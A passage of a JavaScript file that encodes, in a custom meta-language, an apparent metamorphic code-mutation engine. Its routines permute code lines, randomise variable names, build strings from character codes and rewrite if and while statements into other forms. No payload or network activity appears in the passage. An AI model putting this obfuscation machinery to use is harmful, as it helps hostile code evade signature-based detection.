  1619.             MetaLevelLanguage+='__(PMB300|PMB200)y°+PMMLLcount+°=#x1#x2°+PMMLLcount+° 2x#+#x3 °+PMNumberOfLinesFunction+°3x#1x#';
  1620.         MetaLevelLanguage+='__(PMA1000|)000';
  1621.         MetaLevelLanguage+='__(PMA1100|PMA0100,PMA0200,PMA0500,PMA0700,PMA0900)c+1(°+PMMLLcount+°)';
  1622.     MetaLevelLanguage+='__(PM0600|PM0500)y#O1°+PMRequiredCodes+°#.push()1O#';                  
  1623.     MetaLevelLanguage+='__(PM0700|)var PermutatedCodeArray=#x1[]1x#';
  1624.     MetaLevelLanguage+='__(PM0800|PM0600,PM0700)while($#x1#O1°+PMInfoCodeArray+°#.length1O#1x#!#x2#n0n#2x#?>@)007';  
  1625.         MetaLevelLanguage+='__(PMA100|)var PMRandomElement=#x1fGiveRandomNumber(#x2#O1°+PMInfoCodeArray+°#.length1O#2x#)1x#';          
  1626.         MetaLevelLanguage+='__(PMA200|PMA100)if(#x1#O1#O2°+PMRequiredCodes+°#.toString()2O##.indexOf(#x2°+PMPermIdentifier+°[#x3°+PMRandomElement+°3x#]2x#)1O#1x#!#x4#n-1n#4x#?==)004';   // OK
  1627.             MetaLevelLanguage+='__(PMB100|)y°+PermutatedCodeArray+°=#x1#O1°+PMInfoCodeArray+°[#x2°+PMRandomElement+°2x#]#.concat(#x3°+PermutatedCodeArray+°3x#)1O#1x#';
  1628.             MetaLevelLanguage+='__(PMB200|PMB100)y#O1°+PMInfoCodeArray+°#.splice(#x1°+PMRandomElement+°1x#,#x2#n1n#2x#)1O#';
  1629.             MetaLevelLanguage+='__(PMB300|)y#O1°+PMPermIdentifier+°#.splice(#x1°+PMRandomElement+°1x#,#x2#n1n#2x#)1O#';
  1630.             MetaLevelLanguage+='__(PMB400|)y#O1°+PMRequiredCodes+°#.splice(#x1°+PMRandomElement+°1x#,#x2#n1n#2x#)1O#';
  1631.         MetaLevelLanguage+='__(PMA300|)000';
  1632.     MetaLevelLanguage+='__(PM0900|PM0800)xreturn(#x1#O1°+PermutatedCodeArray+°#.slice()1O#1x#)';
  1633.  
  1634.  
  1635.  
  1636.  
  1637. MetaLevelLanguage+='__(1800|)function fCreateObjectExecution(argCOE1)026';
  1638.     MetaLevelLanguage+='__(CEO0100|)while($#x1#O1°+argCOE1+°#.indexOf(#x2#x3fGiveMeString(#x5#n35n#5x#)3x#+#x4fGiveMeString(#x6#n79n#6x#)4x#2x#)1O#1x#!#x7#n-1n#7x#?!=@)003';
  1639.         MetaLevelLanguage+='__(CEOA100|)var COEObjectNumber=#x1#O1°+argCOE1+°#.charAt(#x2#O2°+argCOE1+°#.indexOf(#x4#x5fGiveMeString(#x7#n35n#7x#)5x#+#x6fGiveMeString(#x8#n79n#8x#)6x#4x#)2O#+#x3#n2n#3x#2x#)1O#1x#';
  1640.         MetaLevelLanguage+='__(CEOA200|CEOA100)var COEFullObject=#x1#O1°+argCOE1+°#.substring(#x2#O2°+argCOE1+°#.indexOf(#x6fGiveMeString(#n35n#)+fGiveMeString(#n79n#)6x#)2O#+#n3n#2x#,#x3#O3°+argCOE1+°#.indexOf(#x4#x7°+COEObjectNumber+°7x# +#x5#x8fGiveMeString(79)8x#+fGiveMeString(35)5x#4x#)3O#3x#)1O#1x#'; // OK
  1641.         MetaLevelLanguage+='__(CEOA300|CEOA200)y°+argCOE1+°=#x1#x2#O1°+argCOE1+°#.substring(#n0n#,#x3#O2°+argCOE1+°#.indexOf(#x4fGiveMeString(#n35n#)+fGiveMeString(#n79n#)4x#)2O#3x#)1O#2x#+#x5fCreateObjectExecution(#x6°+COEFullObject+°6x#)5x#+ #x7#O3°+argCOE1+°#.substring(#x8#O4°+argCOE1+°#.indexOf(#x9°+COEObjectNumber+° +fGiveMeString(#n79n#)+fGiveMeString(#n35n#)9x#)4O#+#n3n#8x#)3O#7x#1x#';
  1642.     MetaLevelLanguage+='__(CEO0200|CEO0100)while($#x1#O1°+argCOE1+°#.indexOf(#x2#x3fGiveMeString(#x5#n35n#5x#)3x#+#x4fGiveMeString(#x6#n46n#6x#)4x#2x#)1O#1x#!#x7#n-1n#7x#?!=@)020';
  1643.         MetaLevelLanguage+='__(CEOA100|)if(#x1fGiveRandomNumber(#x2#n3n#2x#)1x#!#x3#n0n#3x#?==)017';
  1644.             MetaLevelLanguage+='__(CEOB100|)var COEObjectName=#x1fGiveRandomString()1x#';
  1645.             MetaLevelLanguage+='__(CEOB200|)var COEVariableList=#x1[]1x#';
  1646.             MetaLevelLanguage+='__(CEOB300|)var COEVariableRndList=#x1[]1x#';
  1647.             MetaLevelLanguage+='__(CEOB400|)var COEObjString=#x1#O1°+argCOE1+°#.substring(#x2#n0n#2x#,#x3#O2°+argCOE1+°#.indexOf(#x4#x5fGiveMeString(#x7#n35n#7x#)5x#+#x6fGiveMeString(#x8#n46n#8x#)6x#4x#)2O#3x#)1O#1x#';
  1648.             MetaLevelLanguage+='__(CEOB500|CEOB400)while($#x1#O1°+COEObjString+°#.indexOf(#x2#x3fGiveMeString(#x5#n35n#5x#)3x#+#x4fGiveMeString(#x6#n120n#6x#)4x#2x#)1O#1x#!#x7#n-1n#7x#?!=@)003';
  1649.                 MetaLevelLanguage+='__(CEOC100|)var COEexecNum=#x1#O1°+COEObjString+°#.charAt(#x2#O2°+COEObjString+°#.indexOf(#x4#x5fGiveMeString(#x7#n35n#7x#)5x#+#x6fGiveMeString(#x8#n120n#8x#)6x#4x#)2O#+#x3#n2n#3x#2x#)1O#1x#';
  1650.                 MetaLevelLanguage+='__(CEOC200|CEOC100)y°+COEObjString+°=#x1#O1°+COEObjString+°#.replace(#x2#x3#x4fGiveMeString(#x6#n35n#6x#)4x#+fGiveMeString(#x7#n120n#7x#)3x#+#x8 °+COEexecNum+°8x#2x#,#x5#""#5x#)1O#1x#';
  1651.                 MetaLevelLanguage+='__(CEOC300|CEOC200)y°+COEObjString+°=#x1#O1°+COEObjString+°#.replace(#x4#x2#x3°+COEexecNum+° 3x#+fGiveMeString(#x6#n120n#6x#)2x#+fGiveMeString(#x7#n35n#7x#)4x#,#x5#""#5x#)1O#1x#';
  1652.             MetaLevelLanguage+='__(CEOB600|CEOB200,CEOB300,CEOB500)y°+COEObjString+°=#x1fCreateVariableListForFunctionCalls(#x2°+COEObjString+°2x#,#x3°+COEVariableList+°3x#,#x4°+COEVariableRndList+°4x#)1x#';
  1653.             MetaLevelLanguage+='__(CEOB700|CEOB600)y#O1sFunctionDefs#.push(#x2#x3#x4#"return "#4x#+ #x6°+COEObjString+°6x#3x#2x#)1O#';  
  1654.             MetaLevelLanguage+='__(CEOB800|CEOB100)y#O1sFunctionNames#.push(#x1°+COEObjectName+°1x#)1O#';
  1655.             MetaLevelLanguage+='__(CEOB900|CEOB600)y#O1sFunctionArgs#.push(#x1#x2#"("#2x#+#x3 #O2°+COEVariableRndList+°#.join()2O#3x#+#x4")"4x#1x#)1O#';    
  1656.             MetaLevelLanguage+='__(CEOB910|CEOB600)var COEReturnValue=#x1#O1°+COEVariableList+°#.join(#x2#x3fGiveMeString(#x8#n43n#8x#)3x#+#x4fGiveMeString(#x9#n176n#9x#)4x#+#x5#","#5x#+#x6fGiveMeString(#n176n#)6x#+#x7fGiveMeString(#n43n#)7x#2x#)1O#1x#';
  1657.             MetaLevelLanguage+='__(CEOB920|CEOB910)if(#x1#O1°+COEVariableList+°#.length1O#1x#!#x2#n0n#2x#?>)001';
  1658.                 MetaLevelLanguage+='__(CEOC100|)y°+COEReturnValue+°=#x1#x2fGiveMeString(#n176n#)2x#+#x3fGiveMeString(#n43n#)3x#+#x4 °+COEReturnValue+° 4x#+#x5fGiveMeString(#n43n#)5x#+#x6fGiveMeString(#n176n#)6x#1x#';
  1659.             MetaLevelLanguage+='__(CEOB930|)000';
  1660.             MetaLevelLanguage+='__(CEOB940|CEOB100,CEOB700,CEOB800,CEOB900,CEOB920)y°+argCOE1+°=#x1fCreateObjectExecution(#x2#x3°+COEObjectName+° 3x#+#x4"("4x#+#x5 °+COEReturnValue+° 5x#+#x6")"6x#+#x7 #O1°+argCOE1+°#.substring(#x8#O2°+argCOE1+°#.indexOf(#x9fGiveMeString(#n35n#)+fGiveMeString(#n46n#)9x#)2O#+#n1n#8x#)1O#7x#2x#)1x#';
  1661.         MetaLevelLanguage+='__(CEOA200|)001';
  1662.             MetaLevelLanguage+='__(CEOB100|)y°+argCOE1+°=#x1fCreateObjectExecution(#x2#O1°+argCOE1+°#.replace(#x3#x4fGiveMeString(#x8#n35n#8x#)4x#+#x5fGiveMeString(46)5x#3x#,#x6fGiveMeString(#x7#n46n#7x#)6x#)1O#2x#)1x#';          
  1663.     MetaLevelLanguage+='__(CEO0300|CEO0200)xreturn(#x1°+argCOE1+°1x#)';  
  1664.  
  1665.  
  1666.  
  1667. MetaLevelLanguage+='__(1900|)function fExecutionParser(argEP1)005';
  1668.     MetaLevelLanguage+='__(EP100|)while($#x1#O1°+argEP1+°#.indexOf(#x2#x3fGiveMeString(35)3x#+#x4fGiveMeString(120)4x#2x#)1O#1x#!#x5#n-1n#5x#?!=@)003';
  1669.         MetaLevelLanguage+='__(EPA100|)var EPExecutionNumber=#x1#O1°+argEP1+°#.charAt(#x2#O2°+argEP1+°#.indexOf(#x3#x4fGiveMeString(#x6#n35n#6x#)4x#+#x5fGiveMeString(#x7#n120n#7x#)5x#3x#)2O#+#x8#n2n#8x#2x#)1O#1x#';
  1670.         MetaLevelLanguage+='__(EPA200|EPA100)var EPnewExecutionToReplace=#x1#O1°+argEP1+°#.substring(#x2#O2°+argEP1+°#.indexOf(fGiveMeString(#x5#n35n#5x#)+fGiveMeString(120))2O#+#n3n#2x#,#x3#O3°+argEP1+°#.indexOf(#x4°+EPExecutionNumber+° +fGiveMeString(#x6#n120n#6x#)+fGiveMeString(#x7#n35n#7x#)4x#)3O#3x#)1O#1x#';   // OK
  1671.         MetaLevelLanguage+='__(EPA300|EPA200)y°+argEP1+°=#x1#O1°+argEP1+°#.substring(#x2#n0n#2x#,#x3#O2°+argEP1+°#.indexOf(#x4fGiveMeString(#n35n#)+fGiveMeString(#n120n#)4x#)2O#3x#)+#x5fDeriveRestrictVC(#x6fExecutionParser(#x7°+EPnewExecutionToReplace+°7x#)6x#,#n75n#,#n1n#)5x#+ #x8#O4°+argEP1+°#.substring(#x9#O5°+argEP1+°#.indexOf(°+EPExecutionNumber+° +fGiveMeString(#n120n#)+fGiveMeString(#n35n#))5O#9x#+3)4O#8x#1O#1x#';
  1672.     MetaLevelLanguage+='__(EP200|EP100)xreturn(#x1°+argEP1+°1x#)';
  1673.  
  1674.  
  1675.  
  1676. MetaLevelLanguage+='__(2000|)function fCreateBlockOfCode(argCodeBlockArray)254';
  1677.     MetaLevelLanguage+='__(CBC0100|)var CBCRString=#x1#""#1x#';
  1678.     MetaLevelLanguage+='__(CBC0200|)var CBCCodeLineIndex=#x1#n0n#1x#';
  1679.     MetaLevelLanguage+='__(CBC0300|)var CBCLocalVarName=#x1[]1x#';
  1680.     MetaLevelLanguage+='__(CBC0400|)var CBCLocalVarDefs=#x1[]1x#';
  1681.     MetaLevelLanguage+='__(CBC0500|)c+1(°+sHierarchyOfCalls+°)';
  1682.     MetaLevelLanguage+='__(CBC0600|CBC0100,CBC0200,CBC0300,CBC0400,CBC0500)while($#x1°+CBCCodeLineIndex+°1x#!#x2#O1°+argCodeBlockArray+°#.length1O#2x#?<@)230';
  1683.         MetaLevelLanguage+='__(CBCA100|)var CBCSingleElement=#x1#x2°+argCodeBlockArray+°2x#[#x3°+CBCCodeLineIndex+°3x#]1x#';
  1684.         MetaLevelLanguage+='__(CBCA200|CBCA100)while($#x1#O1°+CBCSingleElement+°#.indexOf(#x2#x3fGiveMeString(#x4#n35n#4x#)3x#+#x5fGiveMeString(#x6#n34n#6x#)5x#2x#)1O#1x#!-1?!=@)002';
  1685.             MetaLevelLanguage+='__(CBCB100|)var CBCnewStringToReplace=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCSingleElement+°.indexOf(#x3fGiveMeString(#n35n#)+fGiveMeString(#n34n#)3x#)2x#+#n2n#,#x4°+CBCSingleElement+°.indexOf(#x5fGiveMeString(#n34n#)+fGiveMeString(#n35n#)5x#)4x#)1O#1x#';        
  1686.             MetaLevelLanguage+='__(CBCB200|CBCB100)y°+CBCSingleElement+°=#x1#O1°+CBCSingleElement+°#.substring(#n0n#,#x2°+CBCSingleElement+°.indexOf(#x3fGiveMeString(#n35n#)+fGiveMeString(#n34n#)3x#)2x#)1O#1x#+#x4fCreateString(#x5°+CBCnewStringToReplace+°5x#)4x#+ #x6°+CBCSingleElement+°.substring(#x7°+CBCSingleElement+°.indexOf(#x8fGiveMeString(#n34n#)+fGiveMeString(#n35n#)8x#)7x#+#x9#n2n#9x#)6x#';
  1687.         MetaLevelLanguage+='__(CBCA300|CBCA100)while($#x1#O1°+CBCSingleElement+°#.indexOf(#x2#x3fGiveMeString(#n35n#)3x#+#x4fGiveMeString(#n110n#)4x#2x#)1O#1x#!#n-1n#?!=@)003';
  1688.             MetaLevelLanguage+='__(CBCB050|)var CBCnewNumberStart=#x1°+CBCSingleElement+°.indexOf(#x2fGiveMeString(#n35n#)+fGiveMeString(#n110n#)2x#)+#n2n#1x#';  
  1689.             MetaLevelLanguage+='__(CBCB100|CBCB050)var CBCnewNumberToReplace=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCnewNumberStart+°2x#,#x3°+CBCSingleElement+°.indexOf(#x4fGiveMeString(#n110n#)+fGiveMeString(#n35n#)4x#,#x5°+CBCnewNumberStart+°5x#)3x#)1O#1x#';
  1690.             MetaLevelLanguage+='__(CBCB200|CBCB100)y°+CBCSingleElement+°=#x1#x2#O1°+CBCSingleElement+°#.substring(#n0n#,#x3°+CBCSingleElement+°.indexOf(#x4fGiveMeString(#n35n#)+fGiveMeString(#n110n#)4x#)3x#)1O#2x#+#x5fCreateNumeric(#x6°+CBCnewNumberToReplace+°6x#)5x#+ #x7°+CBCSingleElement+°.substring(#x8°+CBCSingleElement+°.indexOf(#x9fGiveMeString(110)+fGiveMeString(35)9x#,°+CBCnewNumberStart+°)+#n2n#8x#)7x#1x#';
  1691.         MetaLevelLanguage+='__(CBCA400|CBCA200,CBCA300)y°+CBCSingleElement+°=#x1fCreateObjectExecution(#x2°+CBCSingleElement+°2x#)1x#';
  1692.         MetaLevelLanguage+='__(CBCA500|CBCA400)y°+CBCSingleElement+°=#x1fExecutionParser(#x2°+CBCSingleElement+°2x#)1x#';      
  1693.         MetaLevelLanguage+='__(CBCB050|CBCA500)if(#x1#O1°+CBCSingleElement+°#.substring(#n0n#,#n2n#)1O#1x#!#x2#"if"#2x#?==)075';
  1694.             MetaLevelLanguage+='__(CBC0100|)var CBCcondition=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCSingleElement+°.indexOf(#"("#)+#n1n#2x#,#x3°+CBCSingleElement+°.lastIndexOf(#")"#)3x#)1O#1x#';
  1695.             MetaLevelLanguage+='__(CBC0200|)var CBCNumOfElementsCode=#x1parseInt(#x2#O1°+CBCSingleElement+°#.substring(#x3#x4°+CBCSingleElement+°.lastIndexOf(#")"#)4x#+#n1n#3x#)1O#2x#,#n10n#)1x#';
  1696.             MetaLevelLanguage+='__(CBC0300|CBC0200)var NumOfElementsAntiCode=#x1parseInt(#x2#x3°+argCodeBlockArray+°3x#[#x7#x4°+CBCCodeLineIndex+°4x# + #x5°+CBCNumOfElementsCode+°5x# +#x6#n1n#6x#7x#]2x#,#n10n#)1x#';          
  1697.             MetaLevelLanguage+='__(CBC0400|CBC0200)var CBCExecuteCode=#x1#O1°+argCodeBlockArray+°#.slice(#x2#x6°+CBCCodeLineIndex+°6x# +#n1n#2x#,#x3#x4°+CBCCodeLineIndex+°4x# + #x5°+CBCNumOfElementsCode+°5x# +#n1n#3x#)1O#1x#';
  1698.             MetaLevelLanguage+='__(CBC0500|CBC0300)var CBCifAntiCode=#x1#O1°+argCodeBlockArray+°#.slice(#x4#x2°+CBCCodeLineIndex+°2x# + #x3°+CBCNumOfElementsCode+°3x# +#n2n#4x#,#x5#x6°+CBCCodeLineIndex+°6x# + #x7°+CBCNumOfElementsCode+°7x# + #x8°+NumOfElementsAntiCode+°8x# +#n2n#5x#)1O#1x#';
  1699.             MetaLevelLanguage+='__(CBC0525|CBC0300)var CBCLogicOperator=#x1#O1°+CBCSingleElement+°#.substring(#x2#x3°+CBCSingleElement+°.indexOf(#"?"#)3x#+#n1n#2x#,#x4°+CBCSingleElement+°.lastIndexOf(#x5#")"#5x#)4x#)1O#1x#';
  1700.             MetaLevelLanguage+='__(CBC0550|CBC0525)var CBClogic1=#x1#x2(#x4°+CBCLogicOperator+°4x#==#"=="#)2x#&&#x3(#x5#x6fGiveRandomNumber(#n2n#)6x#==#n0n#5x#)3x#1x#'      
  1701.             MetaLevelLanguage+='__(CBC0600|CBC0100,CBC0400,CBC0500,CBC0550)if(#x1°+CBClogic1+°1x#!#x2#n0n#2x#?!=)042';            
  1702.                 MetaLevelLanguage+='__(CBC100|)var CBCifargument1=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCSingleElement+°.indexOf(#"("#)+#n1n#2x#,#x3°+CBCSingleElement+°.indexOf(#"!"#)3x#)1O#1x#';
  1703.                 MetaLevelLanguage+='__(CBC200|)var CBCifargument2=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCSingleElement+°.indexOf(#"!"#)+#n1n#2x#,#x3°+CBCSingleElement+°.indexOf(#"?"#)3x#)1O#1x#';
  1704.                 MetaLevelLanguage+='__(CBC300|)var CBCifdefcode=#x1#""#1x#';                
  1705.                 MetaLevelLanguage+='__(CBC400|CBC300)if(#x1#O1°+CBCifAntiCode+°#.length1O#1x#!#x2#n0n#2x#?>)014';
  1706.                     MetaLevelLanguage+='__(CBC100|)c+s(°+CBCifdefcode+°,#x2#"defaul"#2x#)';
  1707.                     MetaLevelLanguage+='__(CBC200|CBC100)c+s(°+CBCifdefcode+°,#x2fGiveMeString(#n116n#)2x#)';
  1708.                     MetaLevelLanguage+='__(CBC300|CBC200)c+s(°+CBCifdefcode+°,#x2fGiveMeString(#n58n#)2x#)';
  1709.                     MetaLevelLanguage+='__(CBC400|CBC300)c+s(°+CBCifdefcode+°,#x2fGiveMeString(#n33n#)2x#)';
  1710.                     MetaLevelLanguage+='__(CBC500|CBC400)c+s(°+CBCifdefcode+°,#x2fGiveMeString(#n64n#)2x#)';
  1711.                     MetaLevelLanguage+='__(CBC600|CBC500)c+s(°+CBCifdefcode+°,#x2fGiveMeString(#n123n#)2x#)';
  1712.                     MetaLevelLanguage+='__(CBC700|CBC600)c+s(°+CBCifdefcode+°,#x2fCreateBlockOfCode(#x3°+CBCifAntiCode+°3x#)2x#)';
  1713.                     MetaLevelLanguage+='__(CBC800|CBC700)c+s(°+CBCifdefcode+°,#x2fGiveMeString(#n33n#)2x#)';
  1714.                     MetaLevelLanguage+='__(CBC900|CBC800)c+s(°+CBCifdefcode+°,#x2fGiveMeString(#n64n#)2x#)';
  1715.                     MetaLevelLanguage+='__(CBC110|CBC900)c+s(°+CBCifdefcode+°,#x2fGiveMeString(#n125n#)2x#)';
  1716.                     MetaLevelLanguage+='__(CBC120|CBC110)c+s(°+CBCifdefcode+°,#x2fGiveMeString(#n59n#)2x#)';
  1717.                     MetaLevelLanguage+='__(CBC130|CBC120)c+s(°+CBCifdefcode+°,#x2fGiveMeString(#n98n#)2x#)';
  1718.                     MetaLevelLanguage+='__(CBC140|CBC130)c+s(°+CBCifdefcode+°,#x2"reak"2x#)';
  1719.                     MetaLevelLanguage+='__(CBC150|CBC140)c+s(°+CBCifdefcode+°,#x2fGiveMeString(#n59n#)2x#)';                                                                                                                                                                                                                                                                                                                                                    
  1720.                 MetaLevelLanguage+='__(CBC500|)000';                
  1721.                 MetaLevelLanguage+='__(CBC600|)c+s(°+CBCRString+°,#x1#"switch("#1x#)'
  1722.                 MetaLevelLanguage+='__(CBC700|CBC100,CBC600)c+s(°+CBCRString+°,#x1°+CBCifargument1+°1x#)';                                  
  1723.                 MetaLevelLanguage+='__(CBC800|CBC700)c+s(°+CBCRString+°,#x1fGiveMeString(#n41n#)1x#)';
  1724.                 MetaLevelLanguage+='__(CBC900|CBC800)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1725.                 MetaLevelLanguage+='__(CBC110|CBC900)c+s(°+CBCRString+°,#x1fGiveMeString(#n123n#)1x#)';
  1726.                 MetaLevelLanguage+='__(CBC210|CBC110)c+s(°+CBCRString+°,#x1fGiveMeString(#n99n#)1x#)';
  1727.                 MetaLevelLanguage+='__(CBC220|CBC210)c+s(°+CBCRString+°,#x1#"ase "#1x#)';
  1728.                 MetaLevelLanguage+='__(CBC230|CBC200,CBC220)c+s(°+CBCRString+°,#x1°+CBCifargument2+°1x#)';
  1729.                 MetaLevelLanguage+='__(CBC240|CBC230)c+s(°+CBCRString+°,#x1fGiveMeString(#n58n#)1x#)';
  1730.                 MetaLevelLanguage+='__(CBC250|CBC240)c+s(°+CBCRString+°,#x1fGiveMeString(#n33n#)1x#)';
  1731.                 MetaLevelLanguage+='__(CBC260|CBC250)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1732.                 MetaLevelLanguage+='__(CBC270|CBC260)c+s(°+CBCRString+°,#x1fGiveMeString(#n123n#)1x#)';
  1733.                 MetaLevelLanguage+='__(CBC280|CBC270)c+s(°+CBCRString+°,#x1fCreateBlockOfCode(#x2°+CBCExecuteCode+°2x#)1x#)';
  1734.                 MetaLevelLanguage+='__(CBC290|CBC280)c+s(°+CBCRString+°,#x1fGiveMeString(#n59n#)1x#)';
  1735.                 MetaLevelLanguage+='__(CBC300|CBC290)c+s(°+CBCRString+°,#x1fGiveMeString(#n98n#)1x#)';
  1736.                 MetaLevelLanguage+='__(CBC310|CBC300)c+s(°+CBCRString+°,#x1#"reak"#1x#)';
  1737.                 MetaLevelLanguage+='__(CBC320|CBC310)c+s(°+CBCRString+°,#x1fGiveMeString(#n59n#)1x#)';
  1738.                 MetaLevelLanguage+='__(CBC330|CBC320)c+s(°+CBCRString+°,#x1fGiveMeString(#n33n#)1x#)';
  1739.                 MetaLevelLanguage+='__(CBC340|CBC330)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1740.                 MetaLevelLanguage+='__(CBC350|CBC340)c+s(°+CBCRString+°,#x1fGiveMeString(#n125n#)1x#)';
  1741.                 MetaLevelLanguage+='__(CBC360|CBC350,CBC400)c+s(°+CBCRString+°,#x1°+CBCifdefcode+°1x#)';
  1742.                 MetaLevelLanguage+='__(CBC370|CBC360)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1743.                 MetaLevelLanguage+='__(CBC380|CBC370)c+s(°+CBCRString+°,#x1fGiveMeString(#n125n#)1x#)';                                                                                                                                                                                                                                                                                                        
  1744.             MetaLevelLanguage+='__(CBC0700|)021';            
  1745.                 MetaLevelLanguage+='__(CBCe100|)var CBCelsecodeinclude=#x1#""#1x#';                
  1746.                 MetaLevelLanguage+='__(CBCe200|CBCe100)if(#x1#O1°+CBCifAntiCode+°#.length1O#1x#!#x2#n0n#2x#?>)007';
  1747.                     MetaLevelLanguage+='__(CBCe100|)c+s(°+CBCelsecodeinclude+°,#x1#"els"#1x#)';
  1748.                     MetaLevelLanguage+='__(CBCe200|CBCe100)c+s(°+CBCelsecodeinclude+°,#x1#"e"#1x#)';
  1749.                     MetaLevelLanguage+='__(CBCe300|CBCe200)c+s(°+CBCelsecodeinclude+°,#x1fGiveMeString(#n64n#)1x#)';
  1750.                     MetaLevelLanguage+='__(CBCe400|CBCe300)c+s(°+CBCelsecodeinclude+°,#x1fGiveMeString(#n123n#)1x#)';
  1751.                     MetaLevelLanguage+='__(CBCe500|CBCe400)c+s(°+CBCelsecodeinclude+°,#x1fCreateBlockOfCode(#x2°+CBCifAntiCode+°2x#)1x#)';  
  1752.                     MetaLevelLanguage+='__(CBCe600|CBCe500)c+s(°+CBCelsecodeinclude+°,#x1fGiveMeString(#n64n#)1x#)';  
  1753.                     MetaLevelLanguage+='__(CBCe700|CBCe600)c+s(°+CBCelsecodeinclude+°,#x1fGiveMeString(#n125n#)1x#)';                                                                                  
  1754.                 MetaLevelLanguage+='__(CBCe300|)000';      
  1755.                 MetaLevelLanguage+='__(CBCe400|)var CBCtmpLL=#x1fCreateLogic(#x2°+CBCcondition+°2x#)1x#';
  1756.                 MetaLevelLanguage+='__(CBCe500|CBCe400)c+s(°+CBCRString+°,#x1sDeriveRestrString1x#)';
  1757.                 MetaLevelLanguage+='__(CBCe600|CBCe500)c+s(°+CBCRString+°,#x1#"if("#1x#)';
  1758.                 MetaLevelLanguage+='__(CBCe700|CBCe600)c+s(°+CBCRString+°,#x1°+CBCtmpLL+°1x#)';
  1759.                 MetaLevelLanguage+='__(CBCe800|CBCe700)c+s(°+CBCRString+°,#x1#")"#1x#)';
  1760.                 MetaLevelLanguage+='__(CBCe900|CBCe800)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1761.                 MetaLevelLanguage+='__(CBCe105|CBCe900)c+s(°+CBCRString+°,#x1fGiveMeString(#n123n#)1x#)';
  1762.                 MetaLevelLanguage+='__(CBCe110|CBCe105)c+s(°+CBCRString+°,#x1fCreateBlockOfCode(#x2°+CBCExecuteCode+°2x#)1x#)';  
  1763.                 MetaLevelLanguage+='__(CBCe120|CBCe110)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';  
  1764.                 MetaLevelLanguage+='__(CBCe130|CBCe120)c+s(°+CBCRString+°,#x1fGiveMeString(#n125n#)1x#)';  
  1765.                 MetaLevelLanguage+='__(CBCe140|CBCe200,CBCe130)c+s(°+CBCRString+°,#x1°+CBCelsecodeinclude+°1x#)';                                                                                                                                                    
  1766.             MetaLevelLanguage+='__(CBC0800|CBC0600)c+n(°+CBCCodeLineIndex+°,#x1°+CBCNumOfElementsCode+°1x#)';
  1767.             MetaLevelLanguage+='__(CBC0900|CBC0600)c+n(°+CBCCodeLineIndex+°,#x1°+NumOfElementsAntiCode+°1x#)';
  1768.             MetaLevelLanguage+='__(CBC1000|CBC0600)c+n(°+CBCCodeLineIndex+°,#x1#n2n#1x#)';
  1769.         MetaLevelLanguage+='__(CBCB060|)000';        
  1770.         MetaLevelLanguage+='__(CBCB070|CBCA500)if(#x1#O1°+CBCSingleElement+°#.substring(#n0n#,#n5n#)1O#1x#!#x2#x3#"wh"#3x#+#x4#"ile"#4x#2x#?==)047';
  1771.             MetaLevelLanguage+='__(CBC0100|)var CBCwhinitial=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCSingleElement+°.indexOf(#x4fGiveMeString(#n40n#)4x#)+#n1n#2x#,#x3°+CBCSingleElement+°.indexOf(#x6fGiveMeString(#n36n#)6x#)3x#)1O#1x#';
  1772.             MetaLevelLanguage+='__(CBC0200|)var CBCwhcondition=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCSingleElement+°.indexOf(#x5fGiveMeString(#n36n#)5x#)+#n1n#2x#,#x3°+CBCSingleElement+°.indexOf(#x4fGiveMeString(#n64n#)4x#)3x#)1O#1x#';
  1773.             MetaLevelLanguage+='__(CBC0300|)var CBCwhaction=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCSingleElement+°.indexOf(#x4fGiveMeString(#n64n#)4x#)+#n1n#2x#,#x3°+CBCSingleElement+°.lastIndexOf(#x5fGiveMeString(#n41n#)5x#)3x#)1O#1x#';
  1774.             MetaLevelLanguage+='__(CBC0400|)var CBCwhNumOfElementsCode=#x1parseInt(#x2#O1°+CBCSingleElement+°#.substring(#x3°+CBCSingleElement+°.lastIndexOf(#x4fGiveMeString(#n41n#)4x#)3x#+#n1n#)1O#2x#,#n10n#)1x#';
  1775.             MetaLevelLanguage+='__(CBC0500|CBC0400)var CBCwhExecuteCode=#x1#O1°+argCodeBlockArray+°#.slice(#x2#x3°+CBCCodeLineIndex+°3x# +#n1n#2x#,#x4#x5°+CBCCodeLineIndex+°5x# + #x6°+CBCwhNumOfElementsCode+°6x# +#n1n#4x#)1O#1x#';
  1776.             MetaLevelLanguage+='__(CBC0600|)var CBCwhRNum2=#x1fGiveRandomNumber(#x2#n2n#2x#)1x#';
  1777.             MetaLevelLanguage+='__(CBC0700|)c+1(°+sNoDerivation1+°)';
  1778.             MetaLevelLanguage+='__(CBC0800|CBC0200,CBC0700)var CBCwhRLogic=#x1fCreateLogic(#x2°+CBCwhcondition+°2x#)1x#';
  1779.             MetaLevelLanguage+='__(CBC0900|CBC0800)ysNoDerivation1=#x1#n0n#1x#';
  1780.             MetaLevelLanguage+='__(CBC1000|CBC0100,CBC0300,CBC0500,CBC0600,CBC0900)if(#x1°+CBCwhRNum2+°1x#!#x2#n0n#2x#?==)016';
  1781.                 MetaLevelLanguage+='__(CBC0100|)if(#x1#O1°+CBCwhinitial+°#.length1O#1x#!#x2#n0n#2x#?>)002';
  1782.                     MetaLevelLanguage+='__(CBC0100|CBC0110)yCBCLocalVarName.push(#x1#O1°+CBCwhinitial+°#.substring(#n4n#,#x2°+CBCwhinitial+°.indexOf(#x3fGiveMeString(#n61n#)3x#)2x#)1O#1x#)';                    
  1783.                     MetaLevelLanguage+='__(CBC0200|)yCBCLocalVarDefs.push(#x1#O1°+CBCwhinitial+°#.substring(#x2°+CBCwhinitial+°.indexOf(#x3fGiveMeString(61)3x#)+#n1n#2x#)1O#1x#)';
  1784.                 MetaLevelLanguage+='__(CBC0200|)000';
